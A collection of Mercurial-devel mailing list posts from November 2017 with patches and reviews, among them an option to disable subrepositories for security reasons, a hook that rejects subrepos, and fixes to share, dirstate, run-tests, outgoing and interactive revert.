Re: [PATCH] subrepo: config option to disable subrepositories

[Gregory Szorc]

On Fri, Nov 3, 2017 at 10:06 PM, Matt Harbison 
wrote:

> On Fri, 03 Nov 2017 20:28:27 -0400, Gregory Szorc 
> wrote:
>
> # HG changeset patch
>> # User Gregory Szorc 
>> # Date 1509755155 25200
>> #  Fri Nov 03 17:25:55 2017 -0700
>> # Branch stable
>> # Node ID f2390c369bfebf32f26f5a2e4aa5620224a7c8ea
>> # Parent  f445b10dc7fb3495d24d1c22b0996148864c77f7
>> subrepo: config option to disable subrepositories
>>
>>
> One class of problems stems from the fact that the .hgsubstate file
>> is managed automatically. This code still runs in this patch and
>> the result is the content of .hgsubstate will get nuked by a client
>> with the feature disabled. If you have this file in your repo and
>> disable the feature and commit, you lose the file. That's obviously
>> not good.
>>
>
> This seems to prevent the file from being nuked when no subrepo is present:
>
> diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
> --- a/mercurial/subrepo.py
> +++ b/mercurial/subrepo.py
> @@ -182,6 +182,9 @@
>
>  def writestate(repo, state):
>  """rewrite .hgsubstate in (outer) repo with these subrepo states"""
> +if not repo.ui.configbool('ui', 'enablesubrepos'):
> +return
> +
>  lines = ['%s %s\n' % (state[s][1], s) for s in sorted(state)
>  if state[s][1] !=
> nullstate[1]]
>  repo.wwrite('.hgsubstate', ''.join(lines), '')
> diff --git a/tests/test-subrepo-disable.t b/tests/test-subrepo-disable.t
> --- a/tests/test-subrepo-disable.t
> +++ b/tests/test-subrepo-disable.t
> @@ -123,15 +123,9 @@
>
>$ cd with-substate-disabled
>$ hg status
> -  M .hgsubstate
> -TODO buggy
>$ hg diff
> -  diff -r 7645bb5a5a99 .hgsubstate
> -  --- a/.hgsubstateThu Jan 01 00:00:00 1970 +
> -  +++ b/.hgsubstateThu Jan 01 00:00:00 1970 +
> -  @@ -1,1 +0,0 @@
> -  -45cc468b8f18bee314935a4651bad80f9cb3b540 hgsub
>$ cat .hgsubstate
> +  45cc468b8f18bee314935a4651bad80f9cb3b540 hgsub
>$ hg up
>0 files updated, 0 files merged, 0 files removed, 0 files unresolved
>
>
> What is the bug around the subrepo() revset?
>

The revset needs to read the parsed .hgsubstate file. That we can probably
fix easily by adding a flag to force parsing even if the subrepo feature is
disabled.

It is the magical .hgsubstate management that will be harder to fix with a
simple patch. I'm leaning towards putting most "do something with subrepos"
code behind an "if ui.configbool(...)" check. That is several dozen call
sites. But I think we'll need to do that in order to get the behavior we
desire.
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

Re: [PATCH] subrepo: config option to disable subrepositories

[Matt Harbison]

On Fri, 03 Nov 2017 20:28:27 -0400, Gregory Szorc  
 wrote:



# HG changeset patch
# User Gregory Szorc 
# Date 1509755155 25200
#  Fri Nov 03 17:25:55 2017 -0700
# Branch stable
# Node ID f2390c369bfebf32f26f5a2e4aa5620224a7c8ea
# Parent  f445b10dc7fb3495d24d1c22b0996148864c77f7
subrepo: config option to disable subrepositories




One class of problems stems from the fact that the .hgsubstate file
is managed automatically. This code still runs in this patch and
the result is the content of .hgsubstate will get nuked by a client
with the feature disabled. If you have this file in your repo and
disable the feature and commit, you lose the file. That's obviously
not good.


This seems to prevent the file from being nuked when no subrepo is present:

diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
--- a/mercurial/subrepo.py
+++ b/mercurial/subrepo.py
@@ -182,6 +182,9 @@

 def writestate(repo, state):
 """rewrite .hgsubstate in (outer) repo with these subrepo states"""
+if not repo.ui.configbool('ui', 'enablesubrepos'):
+return
+
 lines = ['%s %s\n' % (state[s][1], s) for s in sorted(state)
 if state[s][1] !=  
nullstate[1]]

 repo.wwrite('.hgsubstate', ''.join(lines), '')
diff --git a/tests/test-subrepo-disable.t b/tests/test-subrepo-disable.t
--- a/tests/test-subrepo-disable.t
+++ b/tests/test-subrepo-disable.t
@@ -123,15 +123,9 @@

   $ cd with-substate-disabled
   $ hg status
-  M .hgsubstate
-TODO buggy
   $ hg diff
-  diff -r 7645bb5a5a99 .hgsubstate
-  --- a/.hgsubstateThu Jan 01 00:00:00 1970 +
-  +++ b/.hgsubstateThu Jan 01 00:00:00 1970 +
-  @@ -1,1 +0,0 @@
-  -45cc468b8f18bee314935a4651bad80f9cb3b540 hgsub
   $ cat .hgsubstate
+  45cc468b8f18bee314935a4651bad80f9cb3b540 hgsub
   $ hg up
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved


What is the bug around the subrepo() revset?
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

[PATCH STABLE] share: handle --relative shares to a different drive letter gracefully

[Matt Harbison]

# HG changeset patch
# User Matt Harbison 
# Date 1509681309 14400
#  Thu Nov 02 23:55:09 2017 -0400
# Branch stable
# Node ID 1683556589d30268414b8f17c67919278aa997c7
# Parent  f445b10dc7fb3495d24d1c22b0996148864c77f7
share: handle --relative shares to a different drive letter gracefully

This had the same problem as f445b10dc7fb.  Banning os.path.relpath() is
tempting, but the hint it provides is useful here.

diff --git a/mercurial/hg.py b/mercurial/hg.py
--- a/mercurial/hg.py
+++ b/mercurial/hg.py
@@ -243,7 +243,9 @@
 try:
 sharedpath = os.path.relpath(sharedpath, destvfs.base)
 requirements += 'relshared\n'
-except IOError as e:
+except (IOError, ValueError) as e:
+# ValueError is raised on Windows if the drive letters differ on
+# each path
 raise error.Abort(_('cannot calculate relative path'),
   hint=str(e))
 else:
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

[PATCH] pathutil: add doctests for canonpath()

[Matt Harbison]

# HG changeset patch
# User Matt Harbison 
# Date 1509762170 14400
#  Fri Nov 03 22:22:50 2017 -0400
# Node ID 7d9abeb82f021b4b96162a719f4a44a0175c0828
# Parent  3649c3f2cd90c8aec395ca8af5adae33defff12c
pathutil: add doctests for canonpath()

This is a followup to f445b10dc7fb.  Since there's no way to ensure that more
drive letters than C: exist, this seems like the only way to test it.  This is
enough to catch the f445b10dc7fb scenario, as well as CWD outside of the repo
when the path isn't prefixed with path/to/repo.

diff --git a/mercurial/pathutil.py b/mercurial/pathutil.py
--- a/mercurial/pathutil.py
+++ b/mercurial/pathutil.py
@@ -135,7 +135,46 @@
 return False
 
 def canonpath(root, cwd, myname, auditor=None):
-'''return the canonical path of myname, given cwd and root'''
+'''return the canonical path of myname, given cwd and root
+>>> def check(root, cwd, myname):
+... a = pathauditor(root, realfs=False)
+... try:
+... return canonpath(root, cwd, myname, a)
+... except error.Abort:
+... return 'aborted'
+>>> def unixonly(root, cwd, myname, expected='aborted'):
+... if pycompat.iswindows:
+... return expected
+... return check(root, cwd, myname)
+>>> def winonly(root, cwd, myname, expected='aborted'):
+... if not pycompat.iswindows:
+... return expected
+... return check(root, cwd, myname)
+>>> winonly(b'd:repo', b'c:dir', b'filename')
+'aborted'
+>>> winonly(b'c:repo', b'c:dir', b'filename')
+'aborted'
+>>> winonly(b'c:repo', b'c:', b'filename')
+'aborted'
+>>> winonly(b'c:repo', b'c:', b'repofilename',
+... b'filename')
+'filename'
+>>> winonly(b'c:repo', b'c:repo', b'filename', b'filename')
+'filename'
+>>> winonly(b'c:repo', b'c:reposubdir', b'filename',
+... b'subdir/filename')
+'subdir/filename'
+>>> unixonly(b'/repo', b'/dir', b'filename')
+'aborted'
+>>> unixonly(b'/repo', b'/', b'filename')
+'aborted'
+>>> unixonly(b'/repo', b'/', b'repo/filename', b'filename')
+'filename'
+>>> unixonly(b'/repo', b'/repo', b'filename', b'filename')
+'filename'
+>>> unixonly(b'/repo', b'/repo/subdir', b'filename', b'subdir/filename')
+'subdir/filename'
+'''
 if util.endswithsep(root):
 rootsep = root
 else:
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

[PATCH] contrib: example hook to reject subrepos

[Gregory Szorc]

# HG changeset patch
# User Gregory Szorc 
# Date 1509756700 25200
#  Fri Nov 03 17:51:40 2017 -0700
# Branch stable
# Node ID eeca6102193a20fd85b2ad93fd6ae3f7ddff2a67
# Parent  f2390c369bfebf32f26f5a2e4aa5620224a7c8ea
contrib: example hook to reject subrepos

This is a proof-of-concept pretxnchangegroup hook that demonstrates
how to reject changesets containing files that define subrepos.

(Please do not queue this patch.)

diff --git a/contrib/prevent-subrepos.py b/contrib/prevent-subrepos.py
new file mode 100644
--- /dev/null
+++ b/contrib/prevent-subrepos.py
@@ -0,0 +1,25 @@
+# This software may be used and distributed according to the terms of the
+# GNU General Public License version 2 or any later version.
+
+from __future__ import absolute_import
+
+# This hook (meant to be installed as a pretxnchangegroup hook)
+# will reject changesets containing either a .hgsub or .hgsubtate
+# file. These files define subrepos. Preventing the existence of
+# these files effectively disables the subrepo feature.
+#
+# This hook can be installed by adding the following in your hgrc:
+#
+# [hooks]
+# pretxnchangegroup.prevent_subrepos = python:/path/to/prevent-subrepos.py:hook
+
+def hook(ui, repo, node, hooktype, **kwargs):
+for rev in repo.changelog.revs(repo[node].rev()):
+ctx = repo[rev]
+
+if '.hgsub' not in ctx and '.hgsubstate' not in ctx:
+return 0
+
+ui.write('error: subrepos are not allowed in this repository\n')
+ui.write('remove the .hgsub and/or .hgsubstate file\n')
+return 1
diff --git a/tests/test-subrepo-hook.t b/tests/test-subrepo-hook.t
new file mode 100644
--- /dev/null
+++ b/tests/test-subrepo-hook.t
@@ -0,0 +1,44 @@
+  $ hg init hgsub
+  $ cd hgsub
+  $ echo sub0 > foo
+  $ hg -q commit -A -m 'initial sub'
+  $ cd ..
+
+  $ hg init server
+  $ cat > server/.hg/hgrc << EOF
+  > [hooks]
+  > pretxnchangegroup.subrepo = 
python:$TESTDIR/../contrib/prevent-subrepos.py:hook
+  > EOF
+  $ hg -q clone --pull server client
+  $ cd client
+
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  $ hg -q push
+
+Add a subrepo
+
+  $ cat > .hgsub << EOF
+  > hgsub = ../hgsub
+  > EOF
+
+  $ hg add .hgsub
+  $ hg commit -m 'add hgsub'
+
+Hook rejects push
+
+  $ hg push
+  pushing to $TESTTMP/server
+  pushing subrepo hgsub to $TESTTMP/hgsub
+  no changes found
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 1 changesets with 2 changes to 2 files
+  error: subrepos are not allowed in this repository
+  remove the .hgsub and/or .hgsubstate file
+  transaction abort!
+  rollback completed
+  abort: pretxnchangegroup.subrepo hook failed
+  [255]
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

[PATCH] subrepo: config option to disable subrepositories

[Gregory Szorc]

# HG changeset patch
# User Gregory Szorc 
# Date 1509755155 25200
#  Fri Nov 03 17:25:55 2017 -0700
# Branch stable
# Node ID f2390c369bfebf32f26f5a2e4aa5620224a7c8ea
# Parent  f445b10dc7fb3495d24d1c22b0996148864c77f7
subrepo: config option to disable subrepositories

Subrepositories are a lesser-used feature that has a history of security
vulnerabilities. Previous subrepo vulnerabilities have resulted in
arbitrary code execution during `hg clone`. This is one of the worst
kind of vulnerabilities a version control system can have.

Another security concern is that Mercurial supports non-Mercurial
subrepositories. (Git and Subversion are supported by default.) While
the Mercurial developers try to keep up with development of other
version control systems, it is effectively impossible for us to
keep tabs on all 3rd party changes and their security impact. Every
time Mercurial attempts to call out into another [version control]
tool, we run a higher risk of accidentally introducing a security
vulnerability. This is what's referred to as "surface area for
"attack" in computer security speak.

Since subrepos have a history of vulnerabilities, increase our
exposure to security issues in other tools, and aren't widely used,
or a critical feature to have enabled by default, it makes sense
for the feature to be optional.

This commit introduces a config flag to control whether subrepos are
enabled. The default of having them enabled remains unchanged.

This patch is simple and crude. As the added test demonstrates,
it does a few things sub-optimally.

One class of problems stems from the fact that the .hgsubstate file
is managed automatically. This code still runs in this patch and
the result is the content of .hgsubstate will get nuked by a client
with the feature disabled. If you have this file in your repo and
disable the feature and commit, you lose the file. That's obviously
not good.

I figure this patch is effective enough to send out, even though
it has problems. I'll continue to work on a more thorough solution...

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -857,6 +857,9 @@ coreconfigitem('ui', 'debugger',
 coreconfigitem('ui', 'editor',
 default=dynamicdefault,
 )
+coreconfigitem('ui', 'enablesubrepos',
+default=True,
+)
 coreconfigitem('ui', 'fallbackencoding',
 default=None,
 )
diff --git a/mercurial/help/config.txt b/mercurial/help/config.txt
--- a/mercurial/help/config.txt
+++ b/mercurial/help/config.txt
@@ -2012,6 +2012,11 @@ User interface controls.
 ``editor``
 The editor to use during a commit. (default: ``$EDITOR`` or ``vi``)
 
+``enablesubrepos``
+Whether the subrepositories feature is enabled. If disabled,
+subrepositories are effectively ignored by the Mercurial client.
+(default: True)
+
 ``fallbackencoding``
 Encoding to try if it's not possible to decode the changelog using
 UTF-8. (default: ISO-8859-1)
diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
--- a/mercurial/subrepo.py
+++ b/mercurial/subrepo.py
@@ -85,6 +85,14 @@ def state(ctx, ui):
 to tuple: (source from .hgsub, revision from .hgsubstate, kind
 (key in types dict))
 """
+# Blank out knowledge about subrepos when the feature is disabled.
+# This effectively causes consumers of this data structure to think
+# there are no subrepos. This causes problems with the automatic
+# management of .hgsubstate (which is based on this parsed data)
+# and the subrepo() revset.
+if not ui.configbool('ui', 'enablesubrepos'):
+return {}
+
 p = config.config()
 repo = ctx.repo()
 def read(f, sections=None, remap=None):
diff --git a/tests/test-subrepo-disable.t b/tests/test-subrepo-disable.t
new file mode 100644
--- /dev/null
+++ b/tests/test-subrepo-disable.t
@@ -0,0 +1,153 @@
+  $ hg init hgsub
+  $ cd hgsub
+  $ echo sub0 > foo
+  $ hg -q commit -A -m 'subrepo initial'
+  $ hg log -T '{node}\n'
+  45cc468b8f18bee314935a4651bad80f9cb3b540
+  $ cd ..
+
+  $ hg init testrepo0
+  $ cd testrepo0
+  $ cat >> .hg/hgrc << EOF
+  > [ui]
+  > enablesubrepos = false
+  > EOF
+
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+
+Adding a .hgsub should result in no sign of the subrepo in the working 
directory
+
+  $ cat > .hgsub << EOF
+  > hgsub = ../hgsub
+  > EOF
+
+  $ hg add .hgsub
+  $ hg commit -m 'add .hgsub'
+
+  $ hg files --subrepos
+  .hgsub
+  foo
+
+No .hgsubstate should have been created
+
+  $ hg files
+  .hgsub
+  foo
+
+Adding a nested hg repo will be treated like a normal nested hg repo - it will 
be ignored
+
+  $ hg init hgsub
+  $ hg st
+  $ rm -rf hgsub
+
+subrepo() revset still works even if feature is disabled
+
+TODO buggy
+  $ hg log -r 'subrepo()'
+
+  $ cd ..
+
+Cloning this repo won't clone subrepo because no .hgsubstate
+
+  $ hg clone --pull testrepo0 no-substate-enabled
+  requesting all changes
+  adding 

D1313: dirstate: gate access to self._map.dirs

[mbthomas (Mark Thomas)]

mbthomas requested changes to this revision.
mbthomas added inline comments.
This revision now requires changes to proceed.

INLINE COMMENTS

> dirstate.py:405
>  scmutil.checkfilename(f)
> -if f in self._map.dirs:
> -raise error.Abort(_('directory %r already in dirstate') % f)
> -# shadows
> -for d in util.finddirs(f):
> -if d in self._map.dirs:
> -break
> -entry = self._map.get(d)
> -if entry is not None and entry[0] != 'r':
> -raise error.Abort(
> -_('file %r in dirstate clashes with %r') % (d, f))
> +if "dirs" in self._map.__dict__:
> +if f in self._map.dirs:

I don't think it's safe to do this.  We're looking for clashes between files 
and directories, so we do need to look in self.dirs, even if that means 
generating it because we're accessing it for the first time.

REPOSITORY
  rHG Mercurial

REVISION DETAIL
  https://phab.mercurial-scm.org/D1313

To: mbolin, #hg-reviewers, mbthomas
Cc: mbthomas, durham, mercurial-devel
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

D1313: dirstate: gate access to self._map.dirs

[mbolin (Michael Bolin)]

mbolin created this revision.
Herald added a subscriber: mercurial-devel.
Herald added a reviewer: hg-reviewers.

REVISION SUMMARY
  `_droppath()` already checks `"dirs" in self._map.__dict__` before accessing
  `self._map.dirs`. This updates `_addpath()` to be equally cautious.

REPOSITORY
  rHG Mercurial

REVISION DETAIL
  https://phab.mercurial-scm.org/D1313

AFFECTED FILES
  mercurial/dirstate.py

CHANGE DETAILS

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -388,7 +388,7 @@
 return self._map.copymap
 
 def _droppath(self, f):
-if self[f] not in "?r" and "dirs" in self._map.__dict__:
+if "dirs" in self._map.__dict__ and self[f] not in "?r":
 self._map.dirs.delpath(f)
 
 if "filefoldmap" in self._map.__dict__:
@@ -402,16 +402,17 @@
 oldstate = self[f]
 if state == 'a' or oldstate == 'r':
 scmutil.checkfilename(f)
-if f in self._map.dirs:
-raise error.Abort(_('directory %r already in dirstate') % f)
-# shadows
-for d in util.finddirs(f):
-if d in self._map.dirs:
-break
-entry = self._map.get(d)
-if entry is not None and entry[0] != 'r':
-raise error.Abort(
-_('file %r in dirstate clashes with %r') % (d, f))
+if "dirs" in self._map.__dict__:
+if f in self._map.dirs:
+raise error.Abort(_('directory %r already in dirstate') % 
f)
+# shadows
+for d in util.finddirs(f):
+if d in self._map.dirs:
+break
+entry = self._map.get(d)
+if entry is not None and entry[0] != 'r':
+raise error.Abort(
+_('file %r in dirstate clashes with %r') % (d, f))
 if oldstate in "?r" and "dirs" in self._map.__dict__:
 self._map.dirs.addpath(f)
 self._dirty = True



To: mbolin, #hg-reviewers
Cc: mercurial-devel
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

Re: [PATCH] run-tests: allow automatic test discovery when providing folder as argument

[Matthieu Laneuville]

I sent a follow-up with with bytes issue corrected.

On Fri, Nov 03, 2017 at 11:24 PM, Yuya Nishihara wrote:

On Fri, 03 Nov 2017 08:41:35 +0900, matthieu.laneuvi...@octobus.net wrote:

# HG changeset patch
# User Matthieu Laneuville 
# Date 1508422437 -32400
#  Thu Oct 19 23:13:57 2017 +0900
# Node ID 0e692e27fb01c6c0619054ac4f32ce756071bf5a
# Parent  7ebf850d3166a64ff33b4b85adb481b533ddbf86
# EXP-Topic hg122
run-tests: allow automatic test discovery when providing folder as argument

Currently `run-tests.py` automatically discovers test only in the current
directory if no argument is provided. This patch makes it possible to pass a
number of tests and folders as arguments.


Seems fine.


diff -r 7ebf850d3166 -r 0e692e27fb01 tests/run-tests.py
--- a/tests/run-tests.pySat Oct 21 16:50:57 2017 +0900
+++ b/tests/run-tests.pyThu Oct 19 23:13:57 2017 +0900
@@ -2510,6 +2510,16 @@ class TestRunner(object):
 else:
 args = os.listdir(b'.')

+expanded_args = []
+for arg in args:
+if os.path.isdir(arg):
+if not arg.endswith('/'):
+arg += '/'


b'/'


+expanded_args.extend([arg + a for a in os.listdir(arg)])
+else:
+expanded_args.append(arg)
+args = expanded_args
+
 tests = []
 for t in args:


If we want to find test files recursively, os.walk() can be used. I don't
know whether it is a good idea, though.

___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

[PATCH v2] run-tests: allow automatic test discovery when providing folder as argument

[matthieu . laneuville]

# HG changeset patch
# User Matthieu Laneuville 
# Date 1508422437 -32400
#  Thu Oct 19 23:13:57 2017 +0900
# Node ID 223d34cb2d2a1c1c67053f4613cb76803a485573
# Parent  7ebf850d3166a64ff33b4b85adb481b533ddbf86
# EXP-Topic hg122
run-tests: allow automatic test discovery when providing folder as argument

Currently `run-tests.py` automatically discovers test only in the current
directory if no argument is provided. This patch makes it possible to pass a
number of tests and folders as arguments.

diff -r 7ebf850d3166 -r 223d34cb2d2a tests/run-tests.py
--- a/tests/run-tests.pySat Oct 21 16:50:57 2017 +0900
+++ b/tests/run-tests.pyThu Oct 19 23:13:57 2017 +0900
@@ -2510,6 +2510,16 @@ class TestRunner(object):
 else:
 args = os.listdir(b'.')
 
+expanded_args = []
+for arg in args:
+if os.path.isdir(arg):
+if not arg.endswith(b'/'):
+arg += b'/'
+expanded_args.extend([arg + a for a in os.listdir(arg)])
+else:
+expanded_args.append(arg)
+args = expanded_args
+
 tests = []
 for t in args:
 if not (os.path.basename(t).startswith(b'test-')
diff -r 7ebf850d3166 -r 223d34cb2d2a tests/test-run-tests.t
--- a/tests/test-run-tests.tSat Oct 21 16:50:57 2017 +0900
+++ b/tests/test-run-tests.tThu Oct 19 23:13:57 2017 +0900
@@ -1261,6 +1261,24 @@ support for running a test outside the c
   .
   # Ran 1 tests, 0 skipped, 0 failed.
 
+support for automatically discovering test if arg is a folder
+  $ mkdir tmp && cd tmp
+
+  $ cat > test-uno.t << EOF
+  >   $ echo line
+  >   line
+  > EOF
+
+  $ cp test-uno.t test-dos.t
+  $ cd ..
+  $ cp -R tmp tmpp
+  $ cp tmp/test-uno.t test-solo.t
+
+  $ $PYTHON $TESTDIR/run-tests.py tmp/ test-solo.t tmpp
+  .
+  # Ran 5 tests, 0 skipped, 0 failed.
+  $ rm -rf tmp tmpp
+
 support for running run-tests.py from another directory
   $ mkdir tmp && cd tmp
   $ cat > useful-file.sh << EOF
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

[PATCH] [v2] outgoing: respect ":pushurl" paths (issue5365)

[Hollis Blanchard]

# HG changeset patch
# User Hollis Blanchard 
# Date 1509731952 25200
#  Fri Nov 03 10:59:12 2017 -0700
# Branch stable
# Node ID a952cae0303fa38d1b246561704071d41bbfa1ea
# Parent  f445b10dc7fb3495d24d1c22b0996148864c77f7
[v2] outgoing: respect ":pushurl" paths (issue5365)

Make 'hg outgoing' respect "paths.default:pushurl" in addition to
"paths.default-push".

'hg outgoing' has always meant "what will happen if I run 'hg push'?" and it's
still documented that way:

Show changesets not found in the specified destination repository or the
default push location. These are the changesets that would be pushed if a
push was requested.

If the user uses the now-deprecated "paths.default-push" path, it continues to
work that way. However, as described at
https://bz.mercurial-scm.org/show_bug.cgi?id=5365, it doesn't behave the same
with "paths.default:pushurl".

Why does it matter? Similar to the bugzilla reporter, I have a read-only mirror
of a non-Mercurial repository:

  upstream -> imported mirror -> user clone
 ^---/

Users push directly to upstream, and that content is then imported into the
mirror. However, those repositories are not the same; it's possible that the
mirroring has either broken completely, or an import process is running and not
yet complete. In those cases, 'hg outgoing' will list changesets that have
already been pushed.

Mozilla's desired behavior described in bug 5365 can be accomplished through
other means (e.g. 'hg outgoing default'), preserving the consistency and
meaning of 'hg outgoing'.

diff --git a/mercurial/hg.py b/mercurial/hg.py
--- a/mercurial/hg.py
+++ b/mercurial/hg.py
@@ -910,7 +910,11 @@ def incoming(ui, repo, source, opts):
 return _incoming(display, subreporecurse, ui, repo, source, opts)
 
 def _outgoing(ui, repo, dest, opts):
-dest = ui.expandpath(dest or 'default-push', dest or 'default')
+path = ui.paths.getpath(dest, default=('default-push', 'default'))
+if not path:
+raise error.Abort(_('default repository not configured!'),
+hint=_("see 'hg help config.paths'"))
+dest = path.pushloc or path.loc
 dest, branches = parseurl(dest, opts.get('branch'))
 ui.status(_('comparing with %s\n') % util.hidepassword(dest))
 revs, checkout = addbranchrevs(repo, repo, branches, opts.get('rev'))
diff --git a/tests/test-incoming-outgoing.t b/tests/test-incoming-outgoing.t
--- a/tests/test-incoming-outgoing.t
+++ b/tests/test-incoming-outgoing.t
@@ -491,3 +491,71 @@ incoming from empty remote repository
   searching for changes
   no changes found
   [1]
+
+Create a "split" repo that pulls from r1 and pushes to r2, using default-push
+
+  $ hg clone r1 split
+  updating to branch default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ ed -s split/.hg/hgrc << EOF
+  > /^default
+  > a
+  > default-push = file://$TESTTMP/r2
+  > .
+  > w
+  > q
+  > EOF
+  default = $TESTTMP/r1
+  $ hg -R split paths
+  default = $TESTTMP/r1
+  default-push = file://$TESTTMP/r2
+  $ hg -R split outgoing
+  comparing with file://$TESTTMP/r2
+  searching for changes
+  changeset:   0:3e92d79f743a
+  tag: tip
+  user:test
+  date:Thu Jan 01 00:00:00 1970 +
+  summary: a
+  
+
+Use default:pushurl instead of default-push
+
+  $ ed -s split/.hg/hgrc < /^default-push
+  > c
+  > default:pushurl = file://$PWD/r2
+  > .
+  > w
+  > EOF
+  default-push = file://$TESTTMP/r2
+  $ hg -R split paths
+  default = $TESTTMP/r1
+  default:pushurl = file://$TESTTMP/r2
+  $ hg -R split outgoing
+  comparing with file://$TESTTMP/r2
+  searching for changes
+  changeset:   0:3e92d79f743a
+  tag: tip
+  user:test
+  date:Thu Jan 01 00:00:00 1970 +
+  summary: a
+  
+
+Push and then double-check outgoing
+
+  $ echo a >> split/foo
+  $ hg -R split commit -Ama
+  $ hg -R split push
+  pushing to file://$TESTTMP/r2
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 2 changes to 1 files
+  $ hg -R split outgoing
+  comparing with file://$TESTTMP/r2
+  searching for changes
+  no changes found
+  [1]
+
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

Re: [PATCH] revert: do not reverse hunks in interactive when REV is not parent (issue5096)

[Martin von Zweigbergk via Mercurial-devel]

On Fri, Nov 3, 2017 at 1:09 PM, Augie Fackler  wrote:

> Should we add a release notes directive like this:
>
> .. feature::
>
>   When interactive revert is run against a revision other than the working
>   directory parent, the diff shown is the diff to *apply* to the working
> directory,
>   rather than the diff to *discard* from the working copy. This is in line
> with
>   related user experiences with `git` and appears to be less confusing with
>   `ui.interface=curses`.
>

Thanks! I've amended the commit in the "committed" repo.


>
> The verb is significantly less prominent in the curses interface, which I
> don't use, so it might make sense do document this more heavily? I don't
> feel strongly about showing (revert, reverse diff) vs (apply, forward
> diff)[0], but it took several minutes discussion with Martin before I
> understood the intent of this patch again. What do you think? Should we add
> something to the help of `hg revert`?
>

I personally don't even look at the verb. I just look at the patch and pick
which lines to apply. The direction is obvious from looking at the patch.
I'm fine with more documentation, of course (in a separate patch).


>
> Thanks,
> Augie
>
>
> 0: My mental model has long been that the word "revert" means "what you
> see will go through patch -p1 --reverse", whereas apply means "what you see
> will go through patch -p1". I have no idea if that makes sense to anyone,
> but the prominence of the verb in the plain-text UI probably has been
> saving me from confusion a bit.
>
> On Nov 3, 2017, at 12:39, Martin von Zweigbergk via Mercurial-devel <
> mercurial-devel@mercurial-scm.org> wrote:
>
> Queued, thanks!
>
> On Fri, Nov 3, 2017 at 9:34 AM, Denis Laxalde  wrote:
>
>> # HG changeset patch
>> # User Denis Laxalde 
>> # Date 1509716857 -3600
>> #  Fri Nov 03 14:47:37 2017 +0100
>> # Node ID 095ef7f12cb36330d5e2b35b6c93fe27f6c1aacc
>> # Parent  7ebf850d3166a64ff33b4b85adb481b533ddbf86
>> # Available At http://hg.logilab.org/users/dlaxalde/hg
>> #  hg pull http://hg.logilab.org/users/dlaxalde/hg -r
>> 095ef7f12cb3
>> # EXP-Topic revert-interactive
>> revert: do not reverse hunks in interactive when REV is not parent
>> (issue5096)
>>
>> And introduce a new "apply" operation verb for this case as suggested in
>> issue5096. This replaces the no longer used "revert" operation.
>>
>> In interactive revert, when reverting to something else that the parent
>> revision, display an "apply this change" message with a diff that is not
>> reversed.
>>
>> The rationale is that `hg revert -i -r REV` will show hunks of the diff
>> from
>> the working directory to REV and prompt the user to select them for
>> applying
>> (to working directory). This contradicts dcc56e10c23b in which it was
>> decided to have the "direction" of prompted hunks reversed. Later on
>> [1], there was a broad consensus (but no decision) towards the "as to
>> be applied direction". Now that --interactive is no longer experimental
>> (5910db5d1913), it's time to switch and thus we drop no longer used
>> "experimental.revertalternateinteractivemode" configuration option.
>>
>> [1]: https://www.mercurial-scm.org/pipermail/mercurial-devel/2016
>> -November/090142.html
>>
>> diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
>> --- a/mercurial/cmdutil.py
>> +++ b/mercurial/cmdutil.py
>> @@ -3790,9 +3790,8 @@ def _performrevert(repo, parents, ctx, a
>>  operation = 'discard'
>>  reversehunks = True
>>  if node != parent:
>> -operation = 'revert'
>> -reversehunks = repo.ui.configbool('experimental',
>> -'revertalternateinteractivemode')
>> +operation = 'apply'
>> +reversehunks = False
>>  if reversehunks:
>>  diff = patch.diff(repo, ctx.node(), None, m, opts=diffopts)
>>  else:
>> diff --git a/mercurial/configitems.py b/mercurial/configitems.py
>> --- a/mercurial/configitems.py
>> +++ b/mercurial/configitems.py
>> @@ -439,9 +439,6 @@ coreconfigitem('experimental', 'obsmarke
>>  coreconfigitem('experimental', 'rebase.multidest',
>>  default=False,
>>  )
>> -coreconfigitem('experimental', 'revertalternateinteractivemode',
>> -default=True,
>> -)
>>  coreconfigitem('experimental', 'revlogv2',
>>  default=None,
>>  )
>> diff --git a/mercurial/patch.py b/mercurial/patch.py
>> --- a/mercurial/patch.py
>> +++ b/mercurial/patch.py
>> @@ -997,16 +997,26 @@ class recordhunk(object):
>>  def getmessages():
>>  return {
>>  'multiple': {
>> +'apply': _("apply change %d/%d to '%s'?"),
>>  'discard': _("discard change %d/%d to '%s'?"),
>>  'record': _("record change %d/%d to '%s'?"),
>> -'revert': _("revert change %d/%d to '%s'?"),
>>  },
>>  'single': {
>> +'apply': _("apply this change to '%s'?"),
>>  'discard': 

